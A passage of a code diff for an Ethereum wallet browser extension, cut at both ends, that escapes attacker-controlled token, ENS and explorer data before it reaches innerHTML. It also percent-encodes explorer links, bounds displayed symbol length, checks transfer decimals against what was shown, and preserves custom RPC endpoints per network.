+                    // src/shared/etherscanLabels.js already builds a
+                    // `warning` out of scraped explorer markup, so this is
+                    // one wiring change away from carrying remote text.
+                    `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
             )
             .join("");
         warningsEl.style.visibility = "visible";
@@ -202,7 +216,7 @@ function show(txInfo) {
 // touches already occupies its space, so re-running it never moves anything.
 function renderValidation(txInfo) {
     const isErc20 = txInfo.token !== "ETH";
-    const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
 
     const { canSend, codes } = validateTransfer({
         isErc20,
@@ -302,8 +316,17 @@ async function estimateGas(txInfo) {
             });
         } else {
             const contract = new Contract(txInfo.token, ERC20_ABI, provider);
-            const decimals = await contract.decimals();
-            const amount = parseUnits(txInfo.amount, decimals);
+            // The scale the screen is rendering with, not the contract's own
+            // answer: the estimate has to be for the transfer that would be
+            // signed, and that one is encoded from what was displayed. See
+            // transferAmount.js. A pending transaction that carries no usable
+            // scale throws here, which reports the fee as unknown and leaves
+            // Send blocked — an amount that cannot be checked against the
+            // screen is never estimated for, let alone sent.
+            const amount = parseUnits(
+                txInfo.amount,
+                displayedDecimals(txInfo.tokenDecimals),
+            );
             gasLimit = await contract.transfer.estimateGas(txInfo.to, amount, {
                 from: txInfo.from,
             });
@@ -445,8 +468,16 @@ function init(_ctx) {
                     ERC20_ABI,
                     connectedSigner,
                 );
-                const decimals = await contract.decimals();
-                const amount = parseUnits(pendingTx.amount, decimals);
+                // The contract's decimals() is read to be COMPARED with the
+                // scale the screen rendered this amount at, not to encode with:
+                // encoding from it signs whatever the contract answers now,
+                // which is not what the user read. A disagreement throws and is
+                // reported on the error screen. See transferAmount.js.
+                const amount = transferAmountUnits(
+                    pendingTx.amount,
+                    pendingTx.tokenDecimals,
+                    await contract.decimals(),
+                );
                 tx = await contract.transfer(pendingTx.to, amount);
             }
 

src/popup/views/deleteAddress.js

@@ -11,6 +11,7 @@ const {
     $,
     showView,
     showFlash,
+    escapeHtml,
     goBack,
     renderAddressHtml,
     attachCopyHandlers,
@@ -92,7 +93,7 @@ function balanceWarningHtml(addr) {
     if (!addressHoldsFunds(addr)) return " ";
     const line = formatAddressTotal(getAddressValue(addr));
     const total = line
-        ? `<div class="text-xs text-muted mt-1">${line}</div>`
+        ? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
         : "";
     return (
         `<p class="mb-1">This address holds a balance. Removing it does not ` +

src/popup/views/helpers.js

@@ -1,8 +1,22 @@
 // Shared DOM helpers used by all views.
+//
+// Escaping rule for every view in this directory, since they all build
+// markup by concatenation: any VALUE interpolated into an innerHTML string
+// goes through escapeHtml(), whatever its provenance looks like today. The
+// only interpolations left bare are markup FRAGMENTS this code just built
+// (a rendered dot, an icon, a composed row), which escaping would turn into
+// visible angle brackets, and locally computed numbers and loop indices.
+// The distinction is meant to be greppable: an unescaped `${` next to a
+// name that reads like data is a defect.
 
+// escapeHtml lives in src/shared/html.js, where the escape and the
+// reasoning behind it are; it is re-exported below so views keep importing
+// it from here.
+const { escapeHtml } = require("../../shared/html");
 const { isDebug } = require("../../shared/log");
 const { formatUsd, getPrice } = require("../../shared/prices");
 const { state, saveState, currentNetwork } = require("../../shared/state");
+const { displaySymbol } = require("../../shared/symbolDisplay");
 const { markViewRendered } = require("../viewRouter");
 
 // When views are added, removed, or transitions between them change,
@@ -177,17 +191,26 @@ function showFlash(msg, duration = 2000) {
     }, duration);
 }
 
+// One row of the balance list: symbol, quantity, fiat value.
+//
+// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
+// so it is attacker-chosen markup until it has been through escapeHtml, and
+// attacker-chosen length until it has been through displaySymbol. This is
+// the row that issue #307 was reported against: every screen that lists a
+// holding renders through here.
 function balanceLine(symbol, amount, price, tokenId) {
     const qty = amount.toFixed(4);
     const usd = price ? formatUsd(amount * price) || " " : " ";
-    const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
+    // tokenId is a contract address out of the same explorer JSON, and it
+    // lands inside a quoted attribute.
+    const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
     const clickClass = tokenId
         ? " cursor-pointer hover:bg-hover balance-row"
         : "";
     return (
         `<div class="flex text-xs${clickClass}"${tokenAttr}>` +
         `<span class="flex justify-between" style="width:42ch;max-width:100%">` +
-        `<span>${symbol}</span>` +
+        `<span>${escapeHtml(displaySymbol(symbol))}</span>` +
         `<span>${qty}</span>` +
         `</span>` +
         `<span class="text-right text-muted flex-1">${usd}</span>` +
@@ -289,12 +312,6 @@ function addressDotHtml(address) {
     return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
 }
 
-function escapeHtml(s) {
-    const div = document.createElement("div");
-    div.textContent = s;
-    return div.innerHTML;
-}
-
 // Look up an address across all wallets and return its title
 // (e.g. "Address 1.2") or null if it's not one of ours.
 function addressTitle(address, wallets) {
@@ -382,13 +399,26 @@ const EXT_ICON =
     `<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
     `</svg></span>`;
 
-function etherscanAddressUrl(address) {
-    return `${currentNetwork().explorerUrl}/address/${address}`;
+// Block-explorer URLs. The origin is a per-network constant from
+// src/shared/networks.js; only the path segment is data, and it comes out
+// of explorer JSON (a transaction's from/to, a token's address_hash), which
+// nothing upstream validates as hex. percent-encoding it keeps a segment
+// that contains a slash, a query or a fragment from re-pointing the link
+// somewhere else in the explorer.
+function explorerUrl(kind, value) {
+    return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
 }
 
+function etherscanAddressUrl(address) {
+    return explorerUrl("address", address);
+}
+
+// The URL still has to be escaped on the way into href="...": encoding
+// governs what the URL means, escaping governs whether it stays inside the
+// attribute.
 function etherscanLinkHtml(url) {
     return (
-        `<a href="${url}" target="_blank" rel="noopener" ` +
+        `<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
         `class="inline-flex items-center">${EXT_ICON}</a>`
     );
 }
@@ -492,6 +522,7 @@ module.exports = {
     addressColor,
     addressDotHtml,
     escapeHtml,
+    displaySymbol,
     addressTitle,
     formatAddressHtml,
     renderAddressHtml,
@@ -499,6 +530,7 @@ module.exports = {
     attachCopyHandlers,
     etherscanAddressUrl,
     etherscanLinkHtml,
+    explorerUrl,
     EXT_ICON,
     truncateMiddle,
     isoDate,

src/popup/views/home.js

@@ -8,6 +8,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     renderAddressHtml,
     attachCopyHandlers,
@@ -109,10 +110,13 @@ function renderHomeTxList(ctx) {
                 : tx.direction === "sent" || tx.direction === "contract"
                   ? tx.to
                   : tx.from;
-        const dirLabel = tx.directionLabel;
+        // directionLabel is the explorer's own method name for a contract
+        // call, title-cased — attacker-chosen for an attacker's contract.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const title = addressTitle(counterparty, state.wallets);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr = title || truncateMiddle(counterparty, maxAddr);
@@ -226,7 +230,7 @@ function walletListHtml() {
         const defect = walletDefect(wallet);
         html += `<div>`;
         html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
-        html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
+        html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
         // No "+" on a defective wallet: deriving another address from that
         // xpub would only add one more address the key does not produce
         // under the standard path.
@@ -250,10 +254,13 @@ function walletListHtml() {
             const titleBold = isActive ? "font-bold" : "";
             html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
             if (addr.ensName) {
-                html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
+                // An ENS reverse record is whatever the name owner set it
+                // to; renderAddressHtml() escapes its own copy of this and
+                // this list was the one that did not.
+                html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
             }
             html += `<div class="flex text-xs items-center justify-between">`;
-            html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
+            html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
             html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
             html += `</div>`;
             const addrTotal = formatAddressTotal(getAddressValue(addr));

src/popup/views/receive.js

@@ -5,6 +5,7 @@ const {
     flashCopyFeedback,
     formatAddressHtml,
     addressTitle,
+    displaySymbol,
     attachCopyHandlers,
     goBack,
 } = require("./helpers");
@@ -44,7 +45,7 @@ function show() {
         }
         warningEl.textContent =
             "This is an ERC-20 token. Only send " +
-            symbol +
+            displaySymbol(symbol) +
             " on " +
             currentNetwork().name +
             " to this address. Sending tokens on other networks will result in permanent loss.";

src/popup/views/send.js

@@ -4,6 +4,7 @@ const {
     $,
     showFlash,
     addressTitle,
+    displaySymbol,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
@@ -131,7 +132,7 @@ function renderSendTokenSelect(addr) {
         if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
         const opt = document.createElement("option");
         opt.value = t.address;
-        opt.textContent = t.symbol;
+        opt.textContent = displaySymbol(t.symbol);
         sel.appendChild(opt);
     }
 }
@@ -220,6 +221,11 @@ function init(_ctx) {
 
         let tokenSymbol = null;
         let tokenBalance = null;
+        // The scale the amount and the balance below are rendered at, carried
+        // forward so the transfer is encoded with the number the user read
+        // rather than with whatever the contract answers at signing time. See
+        // src/shared/transferAmount.js.
+        let tokenDecimals = null;
         if (token !== "ETH") {
             const tb = (addr.tokenBalances || []).find(
                 (t) => t.address.toLowerCase() === token.toLowerCase(),
@@ -230,6 +236,7 @@ function init(_ctx) {
                 state.trackedTokens,
             );
             tokenBalance = tb ? tb.balance || "0" : "0";
+            tokenDecimals = tb ? tb.decimals : null;
         }
 
         ctx.showConfirmTx({
@@ -241,6 +248,7 @@ function init(_ctx) {
             balance: addr.balance,
             tokenSymbol: tokenSymbol,
             tokenBalance: tokenBalance,
+            tokenDecimals: tokenDecimals,
         });
     });
 

src/popup/views/settings.js

@@ -4,6 +4,7 @@ const {
     updateDebugBanner,
     showFlash,
     escapeHtml,
+    displaySymbol,
     flashCopyFeedback,
     goBack,
     pushCurrentView,
@@ -43,8 +44,11 @@ function renderSiteList(containerId, siteMap, stateKey) {
     let html = "";
     hostnames.forEach((hostname) => {
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
-        html += `<span>${hostname}</span>`;
-        html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
+        // A hostname the URL parser produced cannot carry a delimiter, so
+        // this is escaped for the rule rather than for a known hole — the
+        // rule being that nothing reaches innerHTML unescaped.
+        html += `<span>${escapeHtml(hostname)}</span>`;
+        html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
         html += `</div>`;
     });
     container.innerHTML = html;
@@ -73,9 +77,10 @@ function renderTrackedTokens() {
     }
     let html = "";
     state.trackedTokens.forEach((token, idx) => {
+        const sym = escapeHtml(displaySymbol(token.symbol));
         const label = token.name
-            ? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
-            : escapeHtml(token.symbol);
+            ? escapeHtml(token.name) + " (" + sym + ")"
+            : sym;
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
         html += `<span>${label}</span>`;
         html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;

src/popup/views/settingsAddToken.js

@@ -1,4 +1,4 @@
-const { $, showView, showFlash, goBack } = require("./helpers");
+const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
 const { getTopTokens } = require("../../shared/tokenList");
 const { state, saveState } = require("../../shared/state");
 const { lookupTokenInfo } = require("../../shared/balances");
@@ -26,11 +26,11 @@ function renderTop10() {
                 : "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
             return (
                 `<button class="settings-addtoken-quick ${cls}"` +
-                ` data-address="${t.address}"` +
-                ` data-symbol="${t.symbol}"` +
-                ` data-decimals="${t.decimals}"` +
-                ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
-                `${tracked ? " disabled" : ""}>${t.symbol}</button>`
+                ` data-address="${escapeHtml(t.address)}"` +
+                ` data-symbol="${escapeHtml(t.symbol)}"` +
+                ` data-decimals="${escapeHtml(t.decimals)}"` +
+                ` data-name="${escapeHtml(t.name || "")}"` +
+                `${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
             );
         })
         .join("");
@@ -62,11 +62,11 @@ function renderDropdown() {
         const tracked = isTracked(t.address);
         const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
         html +=
-            `<option value="${t.address}"` +
-            ` data-symbol="${t.symbol}"` +
-            ` data-decimals="${t.decimals}"` +
-            ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
-            `${tracked ? " disabled" : ""}>${label}</option>`;
+            `<option value="${escapeHtml(t.address)}"` +
+            ` data-symbol="${escapeHtml(t.symbol)}"` +
+            ` data-decimals="${escapeHtml(t.decimals)}"` +
+            ` data-name="${escapeHtml(t.name || "")}"` +
+            `${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
     }
     sel.innerHTML = html;
 }

src/popup/views/transactionDetail.js

@@ -15,9 +15,11 @@ const {
     attachCopyHandlers,
     copyableHtml,
     etherscanLinkHtml,
+    explorerUrl,
+    displaySymbol,
     goBack,
 } = require("./helpers");
-const { state, currentNetwork } = require("../../shared/state");
+const { state } = require("../../shared/state");
 const { formatEther, formatUnits } = require("ethers");
 const makeBlockie = require("ethereum-blockies-base64");
 const { log, debugFetch } = require("../../shared/log");
@@ -44,7 +46,7 @@ function getTransactionType(tx) {
 
 function blockieHtml(address) {
     const src = makeBlockie(address);
-    return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
+    return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
 }
 
 function txAddressHtml(address, ensName, title) {
@@ -56,7 +58,7 @@ function txAddressHtml(address, ensName, title) {
 }
 
 function txHashHtml(hash) {
-    const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
+    const link = explorerUrl("tx", hash);
     const extLink = etherscanLinkHtml(link);
     return copyableHtml(hash, "break-all") + extLink;
 }
@@ -101,9 +103,10 @@ function render() {
     $("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
 
     // Exact amount (full precision, copyable)
+    const detailSym = displaySymbol(tx.symbol);
     const exactStr = tx.exactValue
-        ? tx.exactValue + " " + tx.symbol
-        : tx.directionLabel + " " + tx.symbol;
+        ? tx.exactValue + " " + detailSym
+        : tx.directionLabel + " " + detailSym;
     $("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
 
     // Native quantity (raw integer, copyable)
@@ -133,7 +136,7 @@ function render() {
     if (tokenContractSection && tokenContractEl) {
         if (tx.contractAddress) {
             const dot = addressDotHtml(tx.contractAddress);
-            const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
+            const link = explorerUrl("token", tx.contractAddress);
             tokenContractEl.innerHTML =
                 `<div class="flex items-center">${dot}` +
                 copyableHtml(tx.contractAddress, "break-all") +
@@ -185,7 +188,7 @@ function showDetailField(sectionId, contentId, value) {
 function populateOnChainDetails(txData) {
     // Block number
     if (txData.block_number != null) {
-        const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
+        const blockLink = explorerUrl("block", String(txData.block_number));
         const blockSection = $("tx-detail-block-section");
         const blockEl = $("tx-detail-block");
         if (blockSection && blockEl) {
@@ -309,7 +312,7 @@ async function loadFullTxDetails(txHash, toAddress) {
                     // Token entry: show symbol on its own line, then address via shared renderer
                     const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
                     if (tokenSymbol) {
-                        detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
+                        detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
                     }
                     detailsHtml += renderAddressHtml(d.address);
                 } else if (d.address) {

src/popup/views/txStatus.js

@@ -9,10 +9,12 @@ const {
     attachCopyHandlers,
     copyableHtml,
     etherscanLinkHtml,
+    explorerUrl,
+    displaySymbol,
     clearViewStack,
 } = require("./helpers");
 const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
-const { state, currentNetwork } = require("../../shared/state");
+const { state } = require("../../shared/state");
 const { getProvider } = require("../../shared/balances");
 const { log } = require("../../shared/log");
 
@@ -62,13 +64,13 @@ function toAddressHtml(address) {
 }
 
 function txHashHtml(hash) {
-    const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
+    const link = explorerUrl("tx", hash);
     return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
 }
 
 function blockNumberHtml(blockNumber) {
     const num = String(blockNumber);
-    const link = `${currentNetwork().explorerUrl}/block/${num}`;
+    const link = explorerUrl("block", num);
     return copyableHtml(num) + etherscanLinkHtml(link);
 }
 
@@ -80,7 +82,10 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
     endWait();
     const id = waitId;
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     $("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
     $("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
     $("wait-tx-hash").innerHTML = txHashHtml(txHash);
@@ -211,7 +216,10 @@ function restoreWait() {
 function showSuccess(txInfo, txHash, blockNumber) {
     endWait();
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     state.viewData = {
         amount: txInfo.amount,
         symbol: symbol,
@@ -299,7 +307,10 @@ function renderSuccess() {
 function showError(txInfo, txHash, message) {
     endWait();
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     state.viewData = {
         amount: txInfo.amount,
         symbol: symbol,

src/shared/approvalAmount.js

@@ -0,0 +1,103 @@
+// The scale an ERC-20 amount in a dApp's calldata is displayed with, and what
+// to display when there is no such scale.
+//
+// The approval screen decodes `transfer` and `approve` calldata into a
+// quantity the user confirms against. That quantity is a base-unit integer,
+// and turning it into a number a person can read needs the token's decimals.
+// Assuming a scale is how a drain gets confirmed: a `transfer` of 5000000000
+// units of a 6-decimal token is 5,000 tokens, but formatted with the ERC-20
+// default of 18 it reads `0.0000`, and a user who reads zero signs.
+//
+// So a scale is either found or the amount is not formatted. Decimals are
+// looked for in the bundled token list, then in the tokens the user tracks,
+// then in what the block explorer reported for the contract; where none of
+// them answers, unknownDecimalsAmount() renders the base-unit integer with the
+// unknown scale stated, and no formatUnits() call is reached at all.
+//
+// This is the display counterpart to transferAmount.js, which takes the same
+// stance on the wallet's own send path: an amount whose scale is unknown or
+// disputed is refused rather than guessed at.
+
+// Solidity's decimals() is a uint8, and every source here is ultimately
+// reporting that call's result.
+const { MAX_DECIMALS } = require("./transferAmount");
+const { TOKEN_BY_ADDRESS } = require("./tokenList");
+
+// A decimals value as a number, or null if it is not one. The bundled list
+// stores numbers, the explorer's copy arrives as a string, and a token the
+// user added by hand can carry whatever lookupTokenInfo() got back, so the
+// accepted types are enumerated rather than coerced: Number([]) is 0 and
+// Number(true) is 1, so a coercing check would read an empty array as a scale
+// of zero and format the amount as whole tokens.
+function toDecimals(value) {
+    let n;
+    if (typeof value === "number") {
+        n = value;
+    } else if (typeof value === "bigint") {
+        if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
+        n = Number(value);
+    } else if (typeof value === "string") {
+        if (!/^[0-9]+$/.test(value)) return null;
+        n = Number(value);
+    } else {
+        return null;
+    }
+    if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
+    return n;
+}
+
+// Every decimals the explorer reported for this contract, across all the
+// addresses whose balances have been fetched. They describe one contract, so
+// they should agree; a set that does not agree is a scale in dispute, and this
+// screen has no way to tell which member is the true one.
+function explorerDecimals(lower, wallets) {
+    let found = null;
+    for (const wallet of wallets || []) {
+        for (const addr of wallet.addresses || []) {
+            for (const tb of addr.tokenBalances || []) {
+                if ((tb.address || "").toLowerCase() !== lower) continue;
+                const d = toDecimals(tb.decimals);
+                if (d === null) continue;
+                if (found !== null && found !== d) return null;
+                found = d;
+            }
+        }
+    }
+    return found;
+}
+
+// The decimals to render a token amount with, or null when nothing knows.
+// `sources` is { trackedTokens, wallets }, both shaped as they are on `state`.
+function resolveTokenDecimals(tokenAddress, sources) {
+    const lower = (tokenAddress || "").toLowerCase();
+    if (!lower) return null;
+
+    const bundled = TOKEN_BY_ADDRESS.get(lower);
+    if (bundled) {
+        const d = toDecimals(bundled.decimals);
+        if (d !== null) return d;
+    }
+
+    const tracked = ((sources && sources.trackedTokens) || []).find(
+        (t) => (t.address || "").toLowerCase() === lower,
+    );
+    if (tracked) {
+        const d = toDecimals(tracked.decimals);
+        if (d !== null) return d;
+    }
+
+    return explorerDecimals(lower, sources && sources.wallets);
+}
+
+// What the amount line reads when the scale is unknown. The base units are
+// exact and the caveat is part of the same string, so the number on the screen
+// cannot be mistaken for a token quantity, and it can never read as zero for a
+// transfer that is not zero.
+function unknownDecimalsAmount(rawAmount) {
+    return String(rawAmount) + " base units (decimals unknown)";
+}
+
+module.exports = {
+    resolveTokenDecimals,
+    unknownDecimalsAmount,
+};

src/shared/chainSwitch.js

@@ -19,9 +19,26 @@ async function onChainSwitch(newNetworkId) {
     const net = networkById(newNetworkId);
 
     // --- core identity ---
+    // Endpoints are remembered per network rather than reset to the
+    // defaults, because a user who points the wallet at their own node has
+    // no way to get that URL back once it is gone: overwriting it moved
+    // every address and every transaction onto a third-party endpoint
+    // silently and permanently.
+    //
+    // state.rpcUrl / state.blockscoutUrl stay the live endpoints of the
+    // active network, so nothing that reads them changes. The invariant is
+    // that for the ACTIVE network those two fields are authoritative and
+    // the map entry may be stale (Settings writes the fields directly);
+    // for every other network the map is authoritative. Snapshotting the
+    // outgoing network here, before the switch, is what reconciles them.
+    state.networkEndpoints[state.networkId] = {
+        rpcUrl: state.rpcUrl,
+        blockscoutUrl: state.blockscoutUrl,
+    };
+    const remembered = state.networkEndpoints[net.id] || {};
     state.networkId = net.id;
-    state.rpcUrl = net.defaultRpcUrl;
-    state.blockscoutUrl = net.defaultBlockscoutUrl;
+    state.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
+    state.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
 
     // --- price cache ---
     // Prices are chain-specific (testnet tokens are worthless,

src/shared/html.js

@@ -0,0 +1,41 @@
+// HTML escaping for values interpolated into an innerHTML string.
+//
+// Every view in src/popup/views/ builds markup by string concatenation, so
+// this is the only thing standing between a value the wallet did not author
+// and the extension's own DOM. The values that reach it are attacker
+// controlled by design: an ERC-20's symbol() and name() are whatever the
+// contract chooses to return, an ENS name is whatever the resolver returns,
+// and both arrive through the block explorer with no schema.
+//
+// It escapes both quote characters as well as the tag delimiters, because
+// the popup interpolates into attribute values as well as into element
+// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
+// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
+// break-out intact, and the round trip through a detached element's
+// textContent that used to implement this was exactly that escape: the
+// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
+// since a text node has no idea it is about to be pasted inside quotes.
+//
+// Deliberately a pure string function with no DOM dependency: it is called
+// on every rendered row, it is unit-testable without a document, and it
+// cannot be affected by the state of a document that an attacker-supplied
+// string has already been written into.
+
+const HTML_ESCAPES = {
+    "&": "&amp;",
+    "<": "&lt;",
+    ">": "&gt;",
+    '"': "&quot;",
+    "'": "&#39;",
+};
+
+// `&` is escaped first by virtue of being in the same pass: a sequential
+// replace would re-escape the ampersands it had just introduced.
+function escapeHtml(s) {
+    if (s === null || s === undefined) return "";
+    return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
+}
+
+module.exports = {
+    escapeHtml,
+};

src/shared/state.js

@@ -14,6 +14,11 @@ const DEFAULT_STATE = {
     networkId: "mainnet",
     rpcUrl: DEFAULT_RPC_URL,
     blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
+    // Endpoints remembered per network: { [networkId]: { rpcUrl,
+    // blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
+    // of the active network; this is what the others are restored from
+    // when the active network changes. See onChainSwitch().
+    networkEndpoints: {},
     lastBalanceRefresh: 0,
     activeAddress: null,
     allowedSites: {},
@@ -34,6 +39,9 @@ const DEFAULT_STATE = {
 
 const state = {
     ...DEFAULT_STATE,
+    // Its own object, not the one DEFAULT_STATE holds: onChainSwitch()
+    // mutates this map in place, and a spread copies the reference.
+    networkEndpoints: {},
     currentView: null,
     selectedWallet: null,
     selectedAddress: null,
@@ -88,6 +96,7 @@ async function saveState() {
         networkId: state.networkId,
         rpcUrl: state.rpcUrl,
         blockscoutUrl: state.blockscoutUrl,
+        networkEndpoints: state.networkEndpoints,
         lastBalanceRefresh: state.lastBalanceRefresh,
         activeAddress: state.activeAddress,
         allowedSites: state.allowedSites,
@@ -128,6 +137,30 @@ async function loadState() {
         state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
         state.blockscoutUrl =
             saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
+        // An actual object is required, not merely a truthy non-array: the
+        // code below and onChainSwitch() index and ASSIGN INTO this value,
+        // and assigning a property to a string or a number is a silent no-op
+        // in sloppy mode. A stored primitive would therefore be re-persisted
+        // unchanged forever, and every switch would fall back to the network
+        // default — the endpoint loss this map exists to prevent, with no
+        // self-healing. The allowedSites/deniedSites guards below are only
+        // read from, which is why they can be looser.
+        state.networkEndpoints =
+            typeof saved.networkEndpoints === "object" &&
+            saved.networkEndpoints !== null &&
+            !Array.isArray(saved.networkEndpoints)
+                ? saved.networkEndpoints
+                : {};
+        // A profile written before this map existed carries exactly one pair
+        // of endpoints, belonging to whatever network it was last on. Adopt
+        // it as that network's remembered pair, so a custom endpoint set on
+        // the old build is not lost by the first switch away and back.
+        if (!state.networkEndpoints[state.networkId]) {
+            state.networkEndpoints[state.networkId] = {
+                rpcUrl: state.rpcUrl,
+                blockscoutUrl: state.blockscoutUrl,
+            };
+        }
         state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
         state.activeAddress = saved.activeAddress || null;
         state.allowedSites =

src/shared/symbolDisplay.js

@@ -0,0 +1,43 @@
+// The length bound on a token symbol as displayed.
+//
+// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
+// it from the block explorer, which imposes no length: src/shared/balances.js
+// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
+// return value, and rendering it pushes every amount off the row, scrolls
+// the balance list past the screen, and hides the figures the user is there
+// to read.
+//
+// This is a layout bound, not a security control. Escaping is what makes a
+// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
+// what catches one impersonating a known ticker; neither job belongs here
+// and neither is done here. Truncating an unescaped symbol would still be
+// an injection, just a shorter one.
+//
+// 12 characters, which is the bound lookupTokenInfo() in
+// src/shared/balances.js already applies when it stores a symbol read
+// straight off a contract; the explorer path was the one with no bound at
+// all. The longest symbol across the 512 entries of the bundled list is 10
+// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
+// truncated. The ellipsis is what tells the user the name they are looking
+// at is not the whole name — worth knowing before they send to it.
+
+const MAX_SYMBOL_LENGTH = 12;
+
+// The placeholder for a token whose symbol the explorer did not report.
+// balances.js already substitutes this; repeated here so a symbol that
+// arrives empty from anywhere else displays the same way rather than as a
+// blank gap in the row.
+const UNKNOWN_SYMBOL = "???";
+
+function displaySymbol(symbol) {
+    const s = symbol === null || symbol === undefined ? "" : String(symbol);
+    if (s.length === 0) return UNKNOWN_SYMBOL;
+    if (s.length <= MAX_SYMBOL_LENGTH) return s;
+    return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
+}
+
+module.exports = {
+    displaySymbol,
+    MAX_SYMBOL_LENGTH,
+    UNKNOWN_SYMBOL,
+};

src/shared/transferAmount.js

@@ -0,0 +1,116 @@
+// The base-unit amount an ERC-20 transfer from the wallet's own Send screen is
+// encoded with.
+//
+// A token amount is a decimal string plus a scale, and the two come from
+// different places. The confirmation screen renders the amount, the balance and
+// the symbol from the block explorer's cached metadata (see
+// fetchTokenBalances() in balances.js); the transfer used to be encoded from
+// decimals() read off the contract at signing time, and nothing compared the
+// two. A token whose on-chain scale differs from the cached one — an
